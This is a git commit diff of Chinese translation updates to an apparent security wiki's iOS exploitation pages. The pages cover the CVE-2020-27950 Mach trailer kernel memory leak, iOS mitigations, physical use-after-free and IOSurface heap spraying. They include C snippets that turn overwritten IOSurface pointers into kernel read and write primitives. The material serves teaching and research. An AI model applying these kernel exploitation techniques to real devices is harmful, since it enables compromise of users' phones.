Translated ['src/network-services-pentesting/pentesting-web/electron-des

This commit is contained in:
Translator 2025-09-30 00:16:39 +00:00
parent 8f7b523bbf
commit fbba71464f
7 changed files with 459 additions and 475 deletions

View File

@ -81,6 +81,7 @@
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md) - [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md) - [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md) - [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md) - [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
# 🧙‍♂️ Generic Hacking # 🧙‍♂️ Generic Hacking
@ -769,7 +770,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -846,7 +847,6 @@
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md) - [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md) - [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
# 🤖 AI # 🤖 AI
- [AI Security](AI/README.md) - [AI Security](AI/README.md)
- [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md) - [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md)
@ -895,7 +895,6 @@
- [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md) - [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
- [Stego Tricks](crypto-and-stego/stego-tricks.md) - [Stego Tricks](crypto-and-stego/stego-tricks.md)
- [Esoteric languages](crypto-and-stego/esoteric-languages.md) - [Esoteric languages](crypto-and-stego/esoteric-languages.md)
- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
# ✍️ TODO # ✍️ TODO

View File

@ -5,11 +5,11 @@
## 漏洞 ## 漏洞
你可以在 [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) 找到很好的漏洞解释,但总结如下: 你可以在 [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) 找到很好的解释,但总结如下:
内核接收的每个 Mach 消息都以一个 **"trailer"** 结尾:一个可变长度的 struct包含元数据seqno、sender token、audit token、context、access control data、labels...)。内核**总是在消息缓冲区中为最大的可能 trailer**MAX_TRAILER_SIZE保留空间但**只初始化部分字段**,随后又根据**用户可控的接收选项**决定返回哪个 trailer 大小。 内核接收到的每个 Mach message 都以一个 **"trailer"** 结尾一个包含元数据seqno, sender token, audit token, context, access control data, labels...)的可变长度 struct。内核**总是为最大可能的 trailer** (MAX_TRAILER_SIZE) 在消息缓冲区中保留空间,但**只初始化部分字段**,然后根据**用户控制的接收选项**决定返回哪个 trailer 大小。
以下是与 trailer 相关的 structs These are the trailer relevant structs:
```c ```c
typedef struct{ typedef struct{
mach_msg_trailer_type_t msgh_trailer_type; mach_msg_trailer_type_t msgh_trailer_type;
@ -31,7 +31,7 @@ msg_labels_t msgh_labels;
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) #define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
``` ```
然后,当 trailer object 被生成时,仅初始化了部分字段,并且始终为 max trailer size 预留了空间 然后,当 trailer 对象被生成时,只有部分字段被初始化,并且始终保留 max trailer size
```c ```c
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token; trailer->msgh_sender = current_thread()->task->sec_token;
@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...] [...]
trailer->msgh_labels.sender = 0; trailer->msgh_labels.sender = 0;
``` ```
例如,当尝试使用 `mach_msg()` 读取一个 mach 消息时,会调用函数 `ipc_kmsg_add_trailer()` 将 trailer 附加到消息。在该函数内部,会计算 trailer 的大小并填充其他一些 trailer 字段: 然后,例如,当尝试使用 `mach_msg()` 读取 mach message 时,会调用函数 `ipc_kmsg_add_trailer()` 将 trailer 附加到消息。 在该函数内部,会计算 trailer 的大小并填充其他一些 trailer 字段:
```c ```c
if (!(option & MACH_RCV_TRAILER_MASK)) { [3] if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
return trailer->msgh_trailer_size; return trailer->msgh_trailer_size;
@ -51,9 +51,9 @@ trailer->msgh_seqno = seqno;
trailer->msgh_context = context; trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
``` ```
`option` 参数由用户控制,因此**需要传入一个能通过 `if` 检查的值。** The `option` 参数由用户控制,因此 **需要传入一个能通过 `if` 检查的值。**
要通过此检查,我们需要发送一个有效且受支持的 `option` 要通过此检查,我们需要发送一个受支持的有效 `option`
```c ```c
#define MACH_RCV_TRAILER_NULL 0 #define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1 #define MACH_RCV_TRAILER_SEQNO 1
@ -67,9 +67,9 @@ trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) #define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24)) #define MACH_RCV_TRAILER_MASK ((0xf << 24))
``` ```
但是,因为 `MACH_RCV_TRAILER_MASK` 只是检查位,我们可以传入任何介于 `0``8` 之间的值,从而不进入 if 语句。 但是,由于 `MACH_RCV_TRAILER_MASK` 只是检查位,我们可以传递任何介于 `0``8` 之间的值,从而不进入 `if` 语句。
然后,继续查看代码可以发现: 然后,继续查看代码你会发现:
```c ```c
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0; trailer->msgh_ad = 0;
@ -92,19 +92,19 @@ ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
return trailer->msgh_trailer_size; return trailer->msgh_trailer_size;
``` ```
可以看到,如果 `option` 大于或等于 `MACH_RCV_TRAILER_AV` (7),字段 **`msgh_ad`** 会被初始化为 `0` 可以看到,如果 `option` 大于或等于 `MACH_RCV_TRAILER_AV` (7),字段 **`msgh_ad`** 会被初始化为 `0`
如果你注意到,**`msgh_ad`** 仍然是 trailer 中唯一之前未被初始化的字段,可能包含来自先前使用内存的 leak。 如果你注意到,**`msgh_ad`** 仍然是 trailer 中唯一未被初始化的字段,可能包含先前使用内存的 leak。
因此,避免初始化它的方法是传入 `option` 值为 `5``6`,这样它会通过第一个 `if` 检查且不会进入初始化 `msgh_ad``if`,因为值 `5``6` 没有与之关联的任何 trailer 类型。 因此,避免初始化它的方法是传入 `option` 值为 `5``6`,这样可以通过第一个 `if` 检查,并不会进入初始化 `msgh_ad``if`,因为值 `5``6` 并未关联任何 trailer 类型。
### 基本 PoC ### 基本 PoC
在 [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) 中,你可以找到一个用于 leak 一些随机数据的 PoC 在 [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) 中,有一个 PoC 用于 leak 一些随机数据
### Leak 内核地址 PoC ### Leak 内核地址 PoC
在 [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) 中,你可以找到一个用于 leak 内核地址的 PoC。为此消息中发送了大量 `mach_msg_port_descriptor_t` 结构体,因为该结构体在用户态中 `name` 字段是 unsigned int但在内核中 `name` 字段是 struct `ipc_port` 指针。因此,在内核处理中向消息中发送数十个这样的结构体将意味着在消息中 **添加多个内核地址**,从而可以泄露其中一个。 在 [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) 中,有一个 PoC 用于 leak 一个内核地址。为此,会在消息中发送充满 `mach_msg_port_descriptor_t` 结构的消息,因为该结构在用户态的 `name` 字段包含一个 unsigned int但在内核中 `name` 字段是一个 struct `ipc_port` 指针。因此,向内核中的消息发送数十个这样的结构将意味着 **在消息中添加多个内核地址**,从而可以 leak 其中的一个。
已添加注释以便更好理解: 已添加注释以便更好理解:
```c ```c
@ -326,7 +326,7 @@ return 0;
``` ```
## 参考资料 ## 参考资料
- [Synacktiv 的博客文章](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) - [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -3,109 +3,108 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## iOS Exploit Mitigations ## iOS 漏洞缓解
- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apples trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code. - **Code Signing** 在 iOS 中的工作方式是要求每一段可执行代码apps, libraries, extensions 等)都必须用 Apple 签发的证书进行加密签名。代码加载时iOS 会将数字签名与 Apple 的受信任根证书进行验证。如果签名无效、缺失或被修改,操作系统会拒绝运行该代码。这防止了攻击者向合法应用注入恶意代码或运行未签名的二进制文件,有效阻止了依赖执行任意或被篡改代码的大多数利用链。
- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apples root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks. - **CoreTrust** 是 iOS 负责在运行时强制执行代码签名的子系统。它直接使用 Apple 的根证书验证签名,而不依赖缓存的信任存储,这意味着只有由 Apple 签名(或具有有效 entitlements的二进制才能执行。CoreTrust 确保即使攻击者在安装后篡改应用、修改系统库或尝试加载未签名代码,系统也会阻止执行,除非代码仍然正确签名。这种严格的强制执行关闭了旧版 iOS 中通过较弱或可绕过签名检查实现的许多事后利用途径。
- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming). - **Data Execution Prevention (DEP)** 将内存区域标记为不可执行,除非它们显式包含代码。这阻止攻击者在数据区域(如栈或堆)中注入 shellcode 并执行,迫使攻击者依赖更复杂的技术如 ROPReturn-Oriented Programming
- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts. - **ASLR (Address Space Layout Randomization)** 每次系统运行时都会随机化代码、库、栈和堆的内存地址布局。这使得攻击者更难预测有用指令或 gadget 的位置,从而破坏许多依赖固定内存布局的利用链。
- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernels base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control. - **KASLR (Kernel ASLR)** 将相同的随机化概念应用于 iOS 内核。通过在每次引导时打乱内核基地址,它阻止攻击者可靠地定位内核函数或结构,增加了实现内核级利用以获取完全系统控制的难度。
- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernels code pages to ensure they havent been modified. If any tampering is detected—such as an exploit trying to patch kernel functions or insert malicious code—the device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers cant simply hook or patch kernel instructions without triggering a system crash. - **Kernel Patch Protection (KPP)** 也称为 **AMCC (Apple Mobile File Integrity)**,持续监控内核的代码页以确保其未被修改。如果检测到篡改——例如利用尝试修补内核函数或插入恶意代码——设备会立即 panic 并重启。这种保护使得持久化内核利用变得更加困难,因为攻击者无法在不触发系统崩溃的情况下简单地 hook 或修补内核指令。
- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPUs memory controller to mark the kernels code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackers—and even privileged code—from patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly. - **Kernel Text Readonly Region (KTRR)** 是在 iOS 设备上引入的基于硬件的安全功能。它使用 CPU 的内存控制器在引导后将内核的代码text段标记为永久只读。一旦锁定即使是内核自身也不能修改该内存区域。这阻止了攻击者——甚至是有特权的代码——在运行时修补内核指令关闭了依赖直接修改内核代码的主要利用途径。
- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably. - **Pointer Authentication Codes (PAC)** 利用嵌入在指针未使用位上的加密签名来在使用前验证指针完整性。当创建指针如返回地址或函数指针CPU 会使用一个秘密密钥对其进行签名在解引用之前CPU 会检查该签名。如果指针被篡改,检查会失败并停止执行。这阻止了攻击者在内存损坏利用中伪造或重用被破坏的指针,使得像 ROP 或 JOP 这样的技术更难可靠实施。
- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques. - **Privilege Access never (PAN)** 是一项硬件功能防止内核特权模式在未显式启用访问的情况下直接访问用户空间内存。这阻止了获得内核代码执行的攻击者轻易读取或写入用户内存以升级利用或窃取敏感数据。通过强制严格的隔离PAN 降低了内核利用的影响并阻止了许多常见的权限提升技术。
- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder. - **Page Protection Layer (PPL)** 是一项 iOS 安全机制,用于保护关键的由内核管理的内存区域,特别是与代码签名和 entitlements 相关的区域。它使用 MMU内存管理单元和额外检查来强制严格的写保护确保即使是有特权的内核代码也不能任意修改敏感页面。这阻止了获得内核级执行权限的攻击者篡改安全关键的结构使持久化和绕过代码签名变得显著困难。
## 物理 use-after-free
## Physical use-after-free 这是对帖子 [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) 的摘要,更多关于使用此技术的利用信息可见于 [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) ### 内存管理在 XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a> iOS 上用户进程的 **虚拟内存地址空间** 范围是从 **0x0 到 0x8000000000**。但是,这些地址并不直接映射到物理内存。相反,**内核** 使用 **页表** 将虚拟地址转换为实际的 **物理地址**
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses dont directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**. #### iOS 中的页表级别
#### Levels of Page Tables in iOS 页表以三层层级组织:
Page tables are organized hierarchically in three levels: 1. **L1 Page Table (Level 1)**
* 此处的每个条目代表一大段虚拟内存范围。
* 它覆盖 **0x1000000000 字节**(或 **256 GB**)的虚拟内存。
2. **L2 Page Table (Level 2)**
* 此处的每个条目代表更小的虚拟内存区域,具体为 **0x2000000 字节**32 MB
* 如果 L1 条目无法自行映射整个区域,它可能指向一个 L2 表。
3. **L3 Page Table (Level 3)**
* 这是最细的级别,每个条目映射一个 **4 KB** 的内存页。
* 如果需要更细粒度的控制L2 条目可能指向 L3 表。
1. **L1 Page Table (Level 1)**: #### 虚拟到物理内存的映射
* Each entry here represents a large range of virtual memory.
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
2. **L2 Page Table (Level 2)**:
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
* An L1 entry may point to an L2 table if it can't map the entire region itself.
3. **L3 Page Table (Level 3)**:
* This is the finest level, where each entry maps a single **4 KB** memory page.
* An L2 entry may point to an L3 table if more granular control is needed.
#### Mapping Virtual to Physical Memory * **Direct Mapping (Block Mapping)**
* 页表中的某些条目直接将一段虚拟地址范围映射到连续的物理地址范围(类似捷径)。
* **Pointer to Child Page Table**
* 如果需要更细的控制,一个级别(例如 L1中的条目可以指向下一级例如 L2的子页表。
* **Direct Mapping (Block Mapping)**: #### 示例:映射一个虚拟地址
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
* **Pointer to Child Page Table**:
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
#### Example: Mapping a Virtual Address 假设你尝试访问虚拟地址 **0x1000000000**
Lets say you try to access the virtual address **0x1000000000**: 1. **L1 表**
* 内核检查对应此虚拟地址的 L1 页表条目。如果它有一个指向 L2 页表的 **指针**,则转到该 L2 表。
2. **L2 表**
* 内核检查 L2 页表以获得更详细的映射。如果该条目指向一个 **L3 页表**,则继续到 L3。
3. **L3 表**
* 内核查找最终的 L3 条目,该条目指向实际内存页的 **物理地址**
1. **L1 Table**: #### 地址映射示例
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
2. **L2 Table**:
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
3. **L3 Table**:
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
#### Example of Address Mapping 如果你在 L2 表的第一个索引写入物理地址 **0x800004000**,那么:
If you write the physical address **0x800004000** into the first index of the L2 table, then: * 虚拟地址从 **0x1000000000****0x1002000000** 会映射到物理地址从 **0x800004000****0x802004000**
* 这是在 L2 级别的 **block mapping**
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**. 或者,如果 L2 条目指向一个 L3 表:
* This is a **block mapping** at the L2 level.
Alternatively, if the L2 entry points to an L3 table: * 虚拟地址范围 **0x1000000000 -> 0x1002000000** 中的每个 4 KB 页面将由 L3 表中的各个条目逐个映射。
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table. ### 物理 use-after-free
### Physical use-after-free 物理 **use-after-freeUAF** 发生在以下情况:
A **physical use-after-free** (UAF) occurs when: 1. 进程将某段内存 **分配** 为可读写。
2. **页表** 被更新以将该内存映射到进程可以访问的特定物理地址。
3. 进程 **释放deallocate** 该内存。
4. 然而,由于一个 **bug**,内核 **忘记从页表中移除该映射**,即使它将相应的物理内存标记为空闲。
5. 内核随后可能 **重新分配** 这块“已释放”的物理内存用于其他用途,例如 **内核数据**
6. 由于映射未被移除,进程仍然可以 **读写** 这块物理内存。
1. A process **allocates** some memory as **readable and writable**. 这意味着进程可以访问 **内核内存页**,其中可能包含敏感数据或结构,潜在地允许攻击者 **操纵内核内存**
2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
3. The process **deallocates** (frees) the memory.
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
6. Since the mapping wasnt removed, the process can still **read and write** to this physical memory.
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
### IOSurface Heap Spray ### IOSurface Heap Spray
Since the attacker cant control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**: 由于攻击者无法控制将被分配到已释放内存的具体内核页面,他们使用一种叫做 **heap spray** 的技术:
1. The attacker **creates a large number of IOSurface objects** in kernel memory. 1. 攻击者在内核内存中 **创建大量 IOSurface 对象**
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify. 2. 每个 IOSurface 对象在其某个字段中包含一个 **magic value**,便于识别。
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page. 3. 他们 **扫描已释放的页面**,查看这些 IOSurface 对象是否落在已释放页面上。
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**. 4. 当他们在已释放页面上找到一个 IOSurface 对象时,就可以利用它来 **读写内核内存**
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) 更多信息见 [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
> [!TIP] > [!TIP]
> Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable. > 注意 iOS 16+A12+)设备引入了硬件缓解(如 PPL 或 SPTM这使得物理 UAF 技术的可行性大大降低。
> PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked. > PPL 对与代码签名、entitlements 以及敏感内核数据相关的页面实施严格的 MMU 保护,因此即使页面被重用,来自 userland 或被妥协的内核代码对 PPL 保护页面的写入也会被阻止。
> Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks. > Secure Page Table Monitor (SPTM) 通过加强页表更新本身来扩展 PPL。它确保即使是有特权的内核代码也不能在不经过安全检查的情况下悄无声息地重映射已释放页面或篡改映射。
> KTRR (Kernel Text Read-Only Region), which locks down the kernels code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on. > KTRRKernel Text Read-Only Region在引导后将内核的代码段锁定为只读。这阻止了对内核代码的任何运行时修改关闭了物理 UAF 利用经常依赖的一个主要攻击向量。
> Moreover, `IOSurface` allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And `IOSurface` is now guarded by entitlements and sandbox restrictions. > 此外,`IOSurface` 的分配现在更不可预测也更难将其映射到用户可访问的区域这使得“magic value 扫描”技巧可靠性大大降低。而且 `IOSurface` 现在受 entitlements 和 sandbox 限制的保护。
### Step-by-Step Heap Spray Process ### Step-by-Step Heap Spray Process
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value"). 1. **Spray IOSurface Objects**攻击者创建大量带有特殊标识符“magic value”的 IOSurface 对象。
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page. 2. **Scan Freed Pages**:他们检查是否有对象被分配到了已释放的页面上。
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them: 3. **Read/Write Kernel Memory**:通过操纵 IOSurface 对象中的字段,他们获得在内核内存中执行 **任意读写** 的能力。这样他们可以:
* Use one field to **read any 32-bit value** in kernel memory. * 使用一个字段来 **读取内核内存中的任意 32-bit 值**
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**. * 使用另一个字段来 **写入 64-bit 值**,从而实现稳定的 **kernel read/write primitive**
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
```c ```c
@ -164,22 +163,22 @@ return 0;
``` ```
### 使用 IOSurface 实现内核读/写 ### 使用 IOSurface 实现内核读/写
内核内存中获得对一个 IOSurface 对象的控制之后(该对象映射到一个已释放的物理页并可从用户态访问),我们可以利用它进行 **任意内核读写操作** 对位于内核内存中的 IOSurface 对象(映射到可从 userspace 访问的已释放物理页)取得控制权后,我们可以用它进行 **任意内核读写操作**
**IOSurface 的关键字段** **IOSurface 的关键字段**
IOSurface 对象有两个关键字段: IOSurface 对象有两个关键字段:
1. **Use Count Pointer**:允许 **32 位读取**。 1. **Use Count Pointer**:允许进行 **32-bit read**。
2. **Indexed Timestamp Pointer**:允许 **64 位写入**。 2. **Indexed Timestamp Pointer**:允许进行 **64-bit write**。
通过覆盖这些指针,将它们重定向到内核内存中的任意地址,从而实现读/写能力。 通过覆盖这些指针,我们可以将它们重定向到内核内存中的任意地址,从而实现读/写能力。
#### 32 内核读取 #### 32-Bit 内核读取
行读取: 行读取:
1. 覆**use count pointer**,使其指向目标地址减去 0x14 字节的偏移处 1. 覆**use count pointer**,使其指向目标地址减去 0x14-byte offset
2. 使用 `get_use_count` 方法读取该地址处的值。 2. 使用 `get_use_count` 方法读取该地址处的值。
```c ```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
@ -198,7 +197,7 @@ iosurface_set_use_count_pointer(info.object, orig);
return value; return value;
} }
``` ```
#### 64 位 内核写入 #### 64-Bit Kernel Write
要执行写入: 要执行写入:
@ -217,13 +216,13 @@ set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig); iosurface_set_indexed_timestamp_pointer(info.object, orig);
} }
``` ```
#### 利用流程回顾 #### 漏洞利用流程回顾
1. **Trigger Physical Use-After-Free**: 释放的页面可重用。 1. **Trigger Physical Use-After-Free**: 释放的页面可重用。
2. **Spray IOSurface Objects**: 在内核内存中分配大量带有唯一 "magic value" 的 IOSurface 对象。 2. **Spray IOSurface Objects**: 在 kernel memory 中分配大量带有唯一 "magic value" 的 IOSurface 对象。
3. **Identify Accessible IOSurface**: 在你控制的已释放页面上定位一个 IOSurface。 3. **Identify Accessible IOSurface**: 在你控制的已释放页面上定位一个 IOSurface。
4. **Abuse Use-After-Free**: 修改 IOSurface 对象中的指针,通过 IOSurface 方法实现任意 **kernel read/write** 4. **Abuse Use-After-Free**: 修改 IOSurface 对象中的指针,通过 IOSurface 方法实现任意 **kernel read/write**
使用这些原语,利用程序可对内核内存进行受控的 **32-bit reads****64-bit writes**。后续的 jailbreak 步骤可能需要更稳定的读/写原语,这可能要求绕过额外的防护(例如在更新的 arm64e 设备上绕过 PPL 借助这些原语,该漏洞利用能够对 kernel memory 进行受控的 **32-bit reads****64-bit writes**。进一步的 jailbreak 步骤可能需要更稳定的 read/write 原语,这可能需要绕过额外的保护(例如在较新的 arm64e 设备上的 PPL
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,176 +1,178 @@
# 区块链与加密货币
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## 基本概念 ## 基本概念
